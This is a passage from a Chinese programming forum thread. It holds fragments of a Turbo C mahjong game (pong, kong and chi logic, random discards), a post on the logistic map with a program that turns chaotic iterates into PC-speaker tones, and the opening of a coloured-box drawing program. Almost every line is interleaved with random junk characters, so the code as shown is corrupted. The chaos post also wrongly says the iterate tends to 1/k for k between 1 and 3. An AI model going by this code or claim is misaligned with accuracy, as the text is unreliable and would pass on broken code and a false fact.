/ T2 r! G" w0 n" }/ y' y, Ox1=220;0 U: A1 e' A1 k. ~
y1=165;
( a! Z) T. o5 h$ ffillRectangle(x1,y1,x1+20,y1+4,0);
4 M/ q: }4 Y' s! U7 p; a}( M* x) B6 ]/ a' G- Z" p
if(every==11)" e! ?# P- j* D  G9 e/ w* D
{
% k: q! [+ E, V5 ?6 u* ~x1=240;
9 _. C" r* z- ?0 ]/ u1 Hy1=165;
3 ~7 q7 w' C1 e1 |4 ofillRectangle(x1,y1,x1+20,y1+4,0);' \3 W  {- U0 M
}
2 C" V  [$ G7 j# Rif(every==12)
* L% e( q8 y, K{2 N  B# t; O7 F) A' F
x1=260;" C* U6 P. G  J  E( n2 o
y1=165;+ ?* C6 F  F$ Z+ R& |
fillRectangle(x1,y1,x1+20,y1+4,0);% T2 m' Z- W  E3 h3 W* F
}6 |9 Y# @- s1 j- h0 s3 n  ^9 v6 _% X
' S* J4 t) V7 |) t( z
zz=0;. H: ?% X5 L. {# e
every++;# w0 I7 |2 J# N4 x2 G# l
z=z+20;$ @4 X" B# K; `2 Z4 K6 e  v) P) t
}( N& X1 z1 m8 {+ H
showbmp(every);
, y, P6 p+ w) ]& ckey=keyy;
. J4 o! }! R8 k9 hif(keyy==ENTER)7 x" w, I9 g) s+ v, f; u( q! O
{
# }4 }& X* @2 {rgzn(every); /*********************/: d* E$ H/ z5 `" y- A
if(sing==1) /*如果可以乓,做相应的处理*/0 K& J+ E/ M  Q! B- j$ Y0 a6 o
{ # a" V; _% j8 d0 L
kkk=0;- `' {8 y- _5 c
kkkk=0;
( a3 B! _( a: cwhile(kkk&lt;=computer.m)
5 L* Z, U( [+ a6 @: H{+ F' N8 ^2 E6 H4 u' J$ |4 {
if(computer.pp[kkk].p!=1)
8 i; ^2 \$ B' W# F, {" e$ L{# t# \5 W  \+ i5 [' o
comp.pp[kkkk].k=computer.pp[kkk].k;" F1 I% I. ]1 B3 z5 _; I
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ A# L- h7 s* p" {: w0 Y1 F- Xcomp.pp[kkkk].number=computer.pp[kkk].number;
5 S; C& G5 t5 B7 vkkkk++;
9 o  a' H* y' c' a! \}  U, v- _0 z- L  X: c' Z
else0 l: n8 N3 l) J& s& C( S; c+ l
{8 _) n( F/ D! ]" [0 C
m[computer.pp[kkk].number].data1=1;( |0 |! C+ }! t0 A2 Y# a( [
dwei=computer.pp[kkk].number;
; f; W- G& i6 W' \; T/ ~computer.pp[kkk].p=0;
  a& r. e1 G$ h& D3 V" C& Z: n}# S# k7 b) d6 ]' J4 n# ?# `
kkk++;0 t6 z, ], f8 e$ I( a
}- y4 D. l" q" k4 b, k) ^" M
ll=0;. i3 D/ T/ J0 b7 P7 W: W; `( j

: p! b! b+ X6 W, y/ z# Wwhile(ll&lt;3); P5 ^  d' I0 B8 E% n4 F. A, Q
{ zl=zl+20;
1 k: ?7 S5 q# J* w* ^# Ibmpp(dwei); /*显示乓的牌*/1 A; b( _( v! e+ z
ll++;9 j! r' i: e. p4 ?3 k  F  ]# p% h
}7 M9 y, a( `5 ~( u9 p. ]
) w9 I/ I% p$ ^) W+ c2 ]
zl=zl+9600-60;
- \: U( I6 ^7 ~" q1 {3 Wkkk=0;% e% v6 d* q4 A" T! {4 L
computer.m=computer.m-2;7 M& \! U" ~/ s' T- Q" d" I
while(kkk&lt;=computer.m)
+ V9 C0 J3 A" r. o# I$ y# v) y1 t{
4 Z# {" o5 h7 Q1 fcomputer.pp[kkk].k=comp.pp[kkk].k;+ O  [- N% b' @; d  c4 T0 r0 p
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;& u, c( d- A" w  u$ h; {
computer.pp[kkk].number=comp.pp[kkk].number;( V9 @& o$ p& }5 A; l
kkk++;- @5 I: }% H' I' C6 C
}
+ ~' v, E) X- M) Y) _ll=0;( P: s/ b0 G! ?" B. H
temp=random(computer.m); /*出牌等待完善*/7 M1 ~- L# c2 b+ I( Z4 {* G: l- L, E
zyy=zyy+9280+20;  L2 ]8 v5 q8 {; v/ i% N/ N3 E
showcbmp(temp);8 b; F" D1 Y, W6 G9 i
zyy=zyy-9280;. h; Q  }! i: S5 y6 Q
/*****/; \  _1 F) A9 B3 j; N
rgznme(temp); " m( L* f) |5 ]: Y* H/ [/ h, |
panduan();
# r, k% T% [$ ~# l+ j0 I6 a6 I2 G8 Bif(me.m==0)& @5 t: T2 K4 ^! U. r
if(second==1 &amp;&amp; threes==0)
. w+ q: I! S* \; rprintf("you win!");% i9 _2 W! G8 l* a
if(me.m==3)
: }9 {6 t4 B, i+ O; }. `: h6 cif(second==1 &amp;&amp; threes==1). O( t7 v) r/ E. R
printf("you win!");
: N  Y# L) ^; B* ]' b( Aif(me.m==6)
  P3 Y3 ~4 @" i6 Rif(second==1 &amp;&amp; threes==2); E4 A3 T; m4 `* h4 u" v
printf("you win!");! u* K  H& J: p/ @7 C
if(me.m==9)4 A+ o/ \7 M9 m( Q5 Q; J% }
if(second==1 &amp;&amp; threes==3); V, H* `  z1 P( v& f
printf("you win!");
& h2 M/ `0 {7 Y/ H8 I* Q2 v$ jif(me.m==12)* l/ Q8 q8 z- ?
if(second==1 &amp;&amp; threes==4)
+ L; S5 g/ t. f# Y; cprintf("you win!");
9 Q2 w8 s& {8 S0 O6 V) k- j6 r0 K8 ^3 P3 [0 t
kkk=0;
5 F; ?% G* F8 t$ ^3 O$ M; j: Skkkk=0;" w$ m2 ~9 P; ^7 e
while(kkk&lt;=computer.m)& M7 p% n6 @8 R% Q/ ~
{
9 x7 d) c3 k1 Mif(kkk!=temp)& e7 f2 w0 k: l& u) A( _
{
: v3 x) U2 I( ~8 m. S  Dcomp.pp[kkkk].k=computer.pp[kkk].k;" t9 v' R' y1 Z5 o$ M2 t
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;  S+ o' {( C4 @- T3 e
comp.pp[kkkk].number=computer.pp[kkk].number;% O% _8 A. s: p6 i& b* a
kkkk++;
/ w. ~2 q. D( ?}
* c4 D) J8 b; Q" l& `3 Xelse
! R* t- q: i8 f0 I3 E  Rm[computer.pp[kkk].number].data1=1;
) Z  t6 `# b0 G7 [# h4 l" Ekkk++;
9 S! h5 k$ A$ ]}
; d( K$ Q8 `0 K. H3 r% A/ dkkk=0;, z6 ]  \, E1 O
computer.m=computer.m-1;
+ e; V, G+ G2 mwhile(kkk&lt;=computer.m) 6 P# H: b1 Y$ i" n3 X$ u
{; T% G2 t/ Y, u8 U* I( h8 E
computer.pp[kkk].k=comp.pp[kkk].k;; e; p1 J" ?+ V, E
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;* |  K4 n4 d# n/ A- B
computer.pp[kkk].number=comp.pp[kkk].number;5 `3 I8 U7 }" H4 y
kkk++;
8 P9 L, ^' U$ M) I! l}
1 T  X. j# G8 w9 rfillRectangle(0,0,320,30,0);
: t1 m( Z4 m8 X3 P" i5 i2 vn=computer.m;' }  v$ ~& B0 ?
ll=0;3 b6 h( P* w/ W5 ^9 O8 p
zy=0;
4 N7 d4 H" R) I( ~1 O0 C* owhile(ll&lt;=n)
/ X; q( @5 ]* X8 c5 @{7 l! A3 P6 w. P4 N6 z
zy=zy+20;$ Z6 K  K2 k2 F9 P* R; q0 e
showybmp(ll);+ G& u* z; Z$ X; F1 z
ll++;
3 x* J0 Y  Z% i. {}
  h9 q! t+ Z; x8 Wll=0;
! O( }# q3 `$ [getch();
( x- d4 v7 h1 ^, _1 [, `! e. Ysing=0;9 j; ?! y, I: g0 {- }
sing1=1;
3 A4 H2 i, N6 T. H( M$ c}
- R& z. z1 j2 x$ [; O9 e1 I4 V: n& ^0 x" d
if(sing==2) /*如果可以杠的做相应处理*/$ @  Z  L' b1 _7 k8 d1 W% c
{; F4 |: D& ^1 X/ P* V. t* L% i- J
kkk=0;
8 ^+ d5 L. p% m$ `. kkkkk=0;
/ `) a+ z! X6 K( nwhile(kkk&lt;=computer.m)
" P- K7 m/ Z; M- U5 a{
4 D$ i, T( J5 \7 g. ]1 f& W* f+ hif(computer.pp[kkk].g!=1)6 q: M" I! i& Y+ d& X& l( w: U2 P
{$ y- {5 s/ U) u. W, \
comp.pp[kkkk].k=computer.pp[kkk].k;. t% [* l+ r3 ~+ X# x
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;2 ]. B" t, x& R
comp.pp[kkkk].number=computer.pp[kkk].number;7 T5 t4 E3 u- n
kkkk++;* a, ?( h8 s/ g$ w0 y% |$ M) [
}3 @# @* l( w1 U* U. |; ?
else
/ R0 {! W+ n7 h6 f' e+ Y3 n5 |( F{
" w8 q; @2 g$ }- g7 xm[computer.pp[kkk].number].data1=1;
0 n* M" C! Y3 Z8 j- X% Odweig=computer.pp[kkk].number;- ^8 G3 K; @7 F- ]  ]8 m( m, y) b
computer.pp[kkk].g=0;
: {* m% T8 {9 {( z7 N}
. i' N1 D; n8 a# h! s2 R' ekkk++;6 ^; T, Q. E7 ?3 w" _7 L7 e
}
+ X, s. M  T; k/ ~5 r. ell=0;
! M3 T: R7 i) }' t9 Y" e4 R" e# }" u  b5 f  O1 L" P; I2 W
while(ll&lt;=3)4 `( ?  m5 a7 U* k- F- y
{ zl=zl+20;3 N/ R8 i' G% V2 q9 S7 T% X! |6 S: K
bmpp(dweig); /*显示杠的牌*/5 s( ?: ?5 a, ^, B- ]8 g
ll++;
6 x- {; ]. ^  a" t1 j; U- o5 Q! E}
: n1 e& e- t# p) w' T1 L- B2 \# ^zl=zl+9600-60;2 q/ i4 E1 ]+ F" L7 W
kkk=0;0 i% S1 Q, o) q  C( ?
computer.m=computer.m-3;6 T  N+ [6 Z7 T: b& z; M9 X7 S
while(kkk&lt;=computer.m)
3 J, c1 q9 U; b8 W9 S{( u  V: {  V. z7 }4 e" E
computer.pp[kkk].k=comp.pp[kkk].k;  I& }- _( R' l$ L# A! P
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;  @6 ?) M& @; z4 D
computer.pp[kkk].number=comp.pp[kkk].number;
" S, B4 J2 V( ~% v# z# gkkk++;
& k5 V  ]1 y: l1 H9 @4 }1 ^}
8 G( Q$ H9 t0 c/ F2 C& S  {kk=0;" g+ G7 N6 ]  u3 x* x* z
computer.m++; /*加一个牌的容量*/6 H: [( I+ c, p' C# e% b, H
while(kk!=1)
3 [( Y4 v2 u4 l' N. O{
4 |4 v3 n5 O  z  v/ z; f0 s- {temp=random(136); /*出牌*/$ z: F* k4 k0 x3 e- Z9 }' f
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)  @1 |' y: b& o& M9 P
{/ V4 F) ]5 E" w1 A$ }" b
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
/ _9 r& k' z( G: Y5 O5 m4 l8 B/ {- P6 fcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/  ^& F$ j' a5 f2 ]' ?. Z* O
computer.pp[computer.m].number=temp; /*第几张,用来排序*/: v& S- _3 a, x" i+ M, U6 S8 G
m[temp].data2=2; /*判断牌是谁的,2为电脑*/6 ]% A. }: A# m1 r! _. O
kk=1;+ ]& L2 }) E# o6 m. R6 T
}; X) D( |3 F3 @# t/ V* l- M  |! ]
}
+ }0 _/ t: s7 V/ J0 n. wcomlipai();6 a9 [% ^. S7 q) N) N
temp=random(computer.m); /*出牌,等待完善*/
4 o; D6 O- T/ j6 n6 O* Gzyy=zyy+9280+20;# h1 E. J. E- n7 U. P! Z  s
showcbmp(temp);  {# e" u2 x# a9 u9 X
zyy=zyy-9280;& o8 G2 O/ i) c
/*****/* d. l0 h, N5 S) l4 I8 T0 B6 p1 C9 f% d
rgznme(temp);0 W# w: X/ [( k+ I+ {" J$ L0 w
panduan();9 C  a: J; k: K; J( ~& ?
if(me.m==0)
1 ^( W# G) Y3 S- ^: Cif(second==1 &amp;&amp; threes==0)0 t+ [! O9 W! F- ]3 c% O* N/ T
printf("you win!");* j1 m* c8 J9 v" p) S6 A- R$ v
if(me.m==3)
+ X* ]: _) @8 [- n5 a1 lif(second==1 &amp;&amp; threes==1)
2 g& N( I5 c0 _( P' ?$ K0 h$ hprintf("you win!");
( D5 m8 E6 G5 b/ ^7 l" Xif(me.m==6)! P, i, ]" x+ V. u2 c3 g# p3 M
if(second==1 &amp;&amp; threes==2)
0 a1 f, r( q! b! Lprintf("you win!");
6 @! G: T/ r5 }) F' Wif(me.m==9)3 z& u- v1 k  K, B
if(second==1 &amp;&amp; threes==3)3 O# l  ~* f7 c# t1 Q: Y3 n9 K1 J
printf("you win!");
$ S% s5 P9 T  |# N, Xif(me.m==12)4 ?$ z7 ?; t: o& B# b% K0 V
if(second==1 &amp;&amp; threes==4)
6 n# ]" N% \' w; L7 fprintf("you win!");! _) L/ ?6 L/ i. t! v; O8 a

# i- y, x0 q5 b1 lkkk=0;" _8 w# I4 a! \, D5 f
kkkk=0;
0 s* f: \6 I2 \  _while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
) K6 W- f: O+ [9 z# L{7 ^2 |  U7 S- r( s* G* P+ h& b
if(kkk!=temp)
0 Z: Q4 K5 `: Z# Y6 @+ m0 V5 N( B: L{
3 }& @- ^4 [4 L: K  ~  I1 Ycomp.pp[kkkk].k=computer.pp[kkk].k;
. o1 k- i# {* ?' ucomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;  f* s: x5 X! @2 f) w! I. ]/ u$ @
comp.pp[kkkk].number=computer.pp[kkk].number;' J! n8 n* F& }: N
kkkk++;
4 {& U& U, a% x}% B' A6 K, _- g0 D5 `
else
! D1 Q. f' }. ?, L. um[computer.pp[kkk].number].data1=1;
" S  ^6 A! B0 a7 s  b3 }$ xkkk++;
1 p  f6 t( {) C1 g* g}1 o, R9 K4 O, Y6 }, y( M7 }* E7 m$ C$ B
kkk=0;* g$ n- V9 y# {( m
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*// F' j: {' Y; `# q
while(kkk&lt;=computer.m) - Q2 @( p* I" A
{/ U5 ?; p. }% e" n" i
computer.pp[kkk].k=comp.pp[kkk].k;4 n3 \# e% `0 M& l* K& U) n3 |# `
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
+ t2 I/ S. _9 [1 q8 p, c$ w9 Qcomputer.pp[kkk].number=comp.pp[kkk].number;
7 `* o/ q; ^) r* B, F( xkkk++;
# e) [+ u, P% p6 @}8 H5 E# S( n. H. I+ K
fillRectangle(0,0,320,30,0);
7 K9 P1 r+ b8 V- Sll=0;  I/ }2 _+ h4 H& t
zy=0;
8 M1 T7 p- `9 Y! R: l9 fwhile(ll&lt;=computer.m)2 x" H# T* c: R$ P+ m. D/ S
{
- V- g  Z" r# K- u" b& C9 f' R6 mzy=zy+20;
. f! t& N. W4 Zshowybmp(ll);
! M2 O: b$ v5 ~/ ^: T2 u0 u3 bll++;8 d( [, \. c) S& y3 a% f
}
1 _/ {# C  w- J- ^sing=0;
& E# L" y9 ^& |9 V0 ~+ [sing1=1;1 X* j9 {( o1 t- |
}' e9 e9 p7 ~& N0 u1 O; n
if(sing==7) /*如果可以吃的,做相应处理*/
4 O/ f$ q! Z! c: D" Z{ nn=0;
( _! t; L: k" Rkkk=0;
: F" g$ q; h* S7 l1 K# C& G) }kkkk=0;
: O" M6 J/ h  Q1 o2 t  |( B- xwhile(kkk&lt;=computer.m)
$ F/ Y6 D( n& C{. y# r9 N3 C9 B2 r3 }
if(computer.pp[kkk].c!=1)' G: {# B' k4 M! G, q5 {% M0 q
{& i! f/ I! f+ x5 [
comp.pp[kkkk].k=computer.pp[kkk].k;8 Q3 n' K# C/ y. x. l- C
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
$ S+ g4 Y: A6 G' Ecomp.pp[kkkk].number=computer.pp[kkk].number;
9 C9 f  G' X) Q1 |& s6 |! F% Skkkk++;
9 O; s0 r4 Q6 F6 r0 y* {}; q9 V, H1 k4 T* m/ _# _
else% b5 g, T/ V% L$ u
{% z8 B! N, U! R% P6 w) ]7 ^4 x
m[computer.pp[kkk].number].data1=1;( y- ~9 _3 ]8 Q
dw[nn++]=computer.pp[kkk].number;; d1 t# U7 s8 x/ ^' i" e. ?4 S' f
computer.pp[kkk].c=0;' C2 s, N2 W1 I0 K6 b
}, d  f9 e6 ]( h- e- U4 }/ T! F5 I
kkk++;
  C0 r$ d( _, r% b0 E7 y}" g% A4 Q6 Z6 k7 Q7 K/ i

0 M( k/ E! D. H" g2 M0 w5 T+ ^if(me.pp[every].number&lt;dw[0])
/ O: R+ O7 r6 t& _{! u* v& T0 i4 j, b; ]2 \
dw[2]=dw[1];
% }7 q. p; s5 P9 P4 ]. S( Tdw[1]=dw[0];
7 `% E$ u, Z+ F' N. I! rdw[0]=me.pp[every].number;! ]) ^5 A* t+ Z
}, }* r7 s" K1 n: U. y) t7 i
if(me.pp[every].number&gt;dw[1])% y1 j' z" Z2 C2 U1 F$ c
{
9 O  W: f  A# vdw[2]=me.pp[every].number;6 K" k4 ~4 G0 D3 w. }6 `; o
}
2 K) U2 \$ P4 G. K) a5 }if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])- q: C% u( s, W: _) K) `
{4 n8 i7 V' y+ c+ \8 k3 ~
dw[2]=dw[1];
. R; ^4 s& y9 [: Q1 w6 Cdw[1]=me.pp[every].number;
9 P7 h0 R, y1 d/ B}
$ e  m# F; {& W$ Xnn=0;; H7 ~& d' B# F7 q' C- A
while(nn&lt;3)1 R4 a. [* i$ H
{ zl=zl+20;; J& ~9 f; \6 N
bmpp(dw[nn]); /*显示吃的牌*/& z5 N. _! f& l0 I
nn++;
$ F" V/ c" p" L8 \$ E}
: S* Q# O" e7 d- i* _; ~# Szl=zl+9600-60;. @8 ^0 S0 ]9 O4 g! s
kkk=0;0 J+ _; z- a9 v1 Q* L* G: a& x" n9 u
computer.m=computer.m-2;
3 y# F# g9 }4 fwhile(kkk&lt;=computer.m)4 N" r! n/ ?* N! F1 _
{
$ W" O5 T' w" ]computer.pp[kkk].k=comp.pp[kkk].k;% b+ M4 v9 E9 s& C# J
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
% I3 h0 r8 O, tcomputer.pp[kkk].number=comp.pp[kkk].number;
' F: b1 ^" M4 C8 H# m: e  mkkk++;% y  {5 C5 y1 T- x: J1 U7 t
}/ o) u. f' ]7 d& a
ll=0;; [( a) j8 V# [( T( u8 Q% @4 O
temp=random(computer.m); /*出牌等待完善*/0 n' p3 F* P- m3 w' L+ P. q
zyy=zyy+9280+20;
  y  M. e6 x9 Fshowcbmp(temp);3 D, ~  B/ l5 t1 l; V4 P3 A% x
zyy=zyy-9280;3 u, P1 R8 z# _- a' `
/*****/
# b/ q. [7 K% s) T* @! G( n9 grgznme(temp);
" U! v1 e6 t% Z4 h$ C( n2 gpanduan();
+ K, u1 o/ K, {5 Yif(me.m==0)3 X4 u% Q* h1 T; v! N
if(second==1 &amp;&amp; threes==0)9 y1 o, a3 ^0 @1 ~) X) i
printf("you win!");
9 A9 a. E( F5 nif(me.m==3)- s) E$ J; s, r
if(second==1 &amp;&amp; threes==1)
$ q/ m$ E" E4 _printf("you win!");
7 E  c) U( `, t- P9 T& N, s0 Bif(me.m==6). k' I: D. ^9 e1 I  Z) H
if(second==1 &amp;&amp; threes==2)
, k. V  ^1 Y. cprintf("you win!");, n) H, h% v' h5 y0 w8 n
if(me.m==9)7 `/ X2 A% D$ K0 h
if(second==1 &amp;&amp; threes==3)2 a2 Q9 _0 N8 X( m# x& ^! T: a8 ~
printf("you win!");
9 p3 Y2 E3 b7 {) Mif(me.m==12)
1 e, K- M& c/ M: Qif(second==1 &amp;&amp; threes==4)
! k+ y4 {2 [4 n# m0 F1 eprintf("you win!");) }) }0 u$ \& G. b; Q+ ]
: x! O3 h* p; @" [7 ~, P4 R3 m0 z
kkk=0;' K7 j7 ]  X6 ]; A0 w6 `$ t
kkkk=0;+ A- \  L1 x8 u5 d- Q
while(kkk&lt;=computer.m)
* d. T& C) R, U* W! z{# ?) @5 _& q$ {# U& i1 ^
if(kkk!=temp)
) p) H. ^0 T/ b5 p* n{& v5 l& V3 d- k9 V8 a" o6 T7 c
comp.pp[kkkk].k=computer.pp[kkk].k;
! }$ G1 u* z7 w' hcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
2 q( I" g  S0 j4 ?/ Ocomp.pp[kkkk].number=computer.pp[kkk].number;
- A8 [% p) E2 L* q+ G& Mkkkk++;7 ?" R& g& K$ Z& d% |# {- ]
}
$ R6 q( J# }5 ~- W8 Helse7 {) {' ]( n/ n& |8 P- p, k
m[computer.pp[kkk].number].data1=1;
' U' \/ S2 I- jkkk++;
* ^- [3 [6 k! O( l' G}4 W2 R. k4 F* V; T( S2 C+ c
kkk=0;3 ^4 b  l1 y' g6 Q" ]7 O  v
computer.m=computer.m-1;  c$ K. i2 S7 q) u
while(kkk&lt;=computer.m) + x( P) I# \6 r5 J
{
* W! I5 ?& _1 N; A/ C. H( \computer.pp[kkk].k=comp.pp[kkk].k;
  ]3 c* ^: ?8 u0 y5 {7 Z! C( Y+ D# Vcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 N- G7 L0 q% f) S7 R9 f' g# Jcomputer.pp[kkk].number=comp.pp[kkk].number;
, L, E4 T. S$ g" B- s# akkk++;# b$ t' c: F/ E5 N* q
}
4 a( x& P4 F! `. wfillRectangle(0,0,320,30,0);
& s  m! ~8 O  E: Y8 t5 u/ Kn=computer.m;
" t3 a+ h% s. z+ j8 p8 All=0;/ b5 w0 ?, P* G0 d2 l
zy=0;' E: L. r, J1 D7 U9 d5 R
while(ll&lt;=n)  G& i; @7 l$ y- m! Z
{
4 m4 b" o. l( O1 W/ y1 Jzy=zy+20;1 @1 e- u7 l, h
showybmp(ll);& ~0 H5 ], l( W
ll++;8 a) ^$ m& A4 Z! p$ T  ~4 V, N( \
}. x5 f+ {6 y5 D8 r* S. I2 V' u

4 V: c5 `! Q7 `% g) S* a0 agetch();% j9 X1 e- r6 ]  u
sing=0;
  k9 J5 \* V# Z( v4 w5 S% e' `sing1=1;
+ r* N2 |8 m# {4 ~}* K6 m0 W! }! q- E8 E9 a/ H  i+ Q
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
! r. O! _0 w- V$ K{
9 D9 `( X$ o! Y" Q4 l7 H7 o8 ^kk=0;
& ~0 k- T# \7 i2 l4 h- V/ F4 L- Kh=me.pp[every].number;
" e' v/ [& h1 T9 x  J- xm[h].data1=1; /*此牌已经无用*/" u6 z+ J6 k# G2 Z5 W$ M# u
if(sing1!=1)( ]4 s5 ~% ]  R9 t
{
: u, E% B4 u) Ezyy=zyy+9280+20;
7 s0 F9 O# ^, t8 X" Jshowbmpd(every);/ Z7 a9 q. w7 ]; |# T" j5 h
zyy=zyy-9280;
& A# h4 F% q4 r! ^/ K" u9 N& s}
" H* @1 q/ J) S# L, Nwhile(kk!=1). w6 i0 x9 S( G
{
9 s3 F" W: X* c! i. ptemp=random(136);
* G* ~5 z* F" Tif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)9 U; J( [1 v0 O3 S. b, F
{
$ \4 {. {- A* l# p* S8 X% yme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/4 ~6 k# E# d. [, O% }7 q1 T
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/" _7 x6 ~# R' }/ y2 n* {& B- S2 g, \
me.pp[every].number=temp; /*第几张,用来排序*/
6 B+ p3 s1 B$ \1 H* tm[temp].data2=1; /*判断牌是谁的*/' T! Z# Y, k8 {8 K! x* d, C+ V
kk=1;
9 S3 B8 H8 o( _* c% K}# p% n3 j5 q$ S" W! X6 P
if(kk==0) /*判断如果又选择了,就从新再选*/
( {7 O( D& O0 U% M) O9 t: Fkk=0;  G+ q; ?' V; c: ^2 D
}
5 j8 \7 d. q; B( o: w}
+ [1 _# o) G. X8 M/ b9 {sing=0;! S  c6 p. c) @
sing1=0;" x# J3 X+ g) q3 g
melipai();
0 A& e: b1 l/ h& [) Jn=13;
: m. ~5 b! ]; Y4 |3 M$ P* y7 W% Kz1=54400;/ j  F7 o0 N1 P3 k
l=0;, |) {& V% z# u( }8 t) D
g=z;6 i/ L% z7 D0 p- Z. }/ a$ `
while(l&lt;n)
3 c- O. `) X, h& W/ Y/ }{ z=0;0 N5 X" d0 A9 v* f' t7 ?) z0 U
z1=z1+20;, `7 y5 _& C8 s. i: D, k8 c
showbmp(l);
+ k" y# [. L2 d1 j* B, ^3 [l++;3 \1 t+ i# t1 Y) Z8 S# V
}$ W: n+ q% N  n7 b  C+ z
z1=0;
7 ?. S9 A4 O: _1 fz=g;
; l8 v) E/ y% P8 }: t3 X}
- Q6 ~& Q0 }7 Z, Tkeyy=0;
3 Q' g1 g  S8 `4 c}
4 W" ^- Q% r) t- ^4 p- z
1 v% y5 x" T7 _# r. R9 w! E% Kgetch();
9 ~$ M. W. M! F8 WOUTVGA;6 \: C2 _" n6 x. U
}
& m3 B  k' t3 R. L) m</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
9 |( q9 ~3 m5 @! M</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
1 a& M/ C/ F! A! ~* H. ?  T# j) t# i/ n6 W: p6 n- w
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。& N! x4 j( k6 O: Y7 h
  <FONT color=#009900>#include <DOS.H>
& E0 ]  ?) O  H: U  L: r  #include <STDIO.H>. G; d$ Z6 ^, D- W$ ?1 T1 L9 B
  main(){* Q9 R8 M4 [. K# P3 W
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/; S* j7 s5 Z( d) \" j$ i
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/% p2 F( y7 l0 \* x
  /*i,j用于循环记数*/& |3 i' N" K4 D# A
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/( `9 A( U/ W3 m% Y* L  c. `
  fDis=fMax-fMin;/ _+ C. R( @6 q2 S5 t( I, Q) q
  for(j=1;;j++){
/ w; T( p9 w# ~8 ^+ a9 x  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/  g  W6 u% x, x0 ~
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/" G' b2 u; s* b! h7 z. w1 y1 [
  scanf("%f",&k);8 [, r! H+ ~% k/ ^6 Z
  if (k==0) break;
& o7 y* R% i( E5 k) b$ E# {  for(i=1;i&lt;100;i++) /*去除开始的100个点*/; X" m$ q9 U) c5 H
  x=k*x*(1-x);0 B- y. _: B0 L
  for (i=1;i&lt;100;i++){
) q" {$ |) Q2 m9 q  x=k*x*(1-x); /*计算x的值*/8 Z) Z$ e- ?! V( ^; {/ Y- g0 F
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/) w2 e4 l( o; N' s
  delay(1000); }
1 j' ~  ?; X: K* \  P5 g0 V  nosound(); }}% O% S  X" x, Q
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
: T3 Y3 W+ W% X/ B9 z: W+ @" i不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
" f) @' K9 Z; I. B<FONT color=#009900>/*1 q5 X  `" T! I6 ?; [( a3 x" K
*6 o: x/ s& i" W- \; j" a
* Short driver module: X3 E) a- Q2 a- d- k' i
*
( Z6 }: w+ ^1 A( s*/</FONT></P><><FONT color=#009900>main(), e6 f8 g$ M2 k: |4 a/ o0 G
{
" W1 j( V9 C0 i7 e# \1 fclrscr();6 K1 k7 v7 m: p
box(1,1,23,79);, u$ ?; U7 j% e
box(2,2,21,77);' W9 E9 }' k8 \8 b2 o' V
box(3,3,19,75);
$ a+ i& J2 h$ {; W" j' J1 x2 ~box(4,4,17,73);
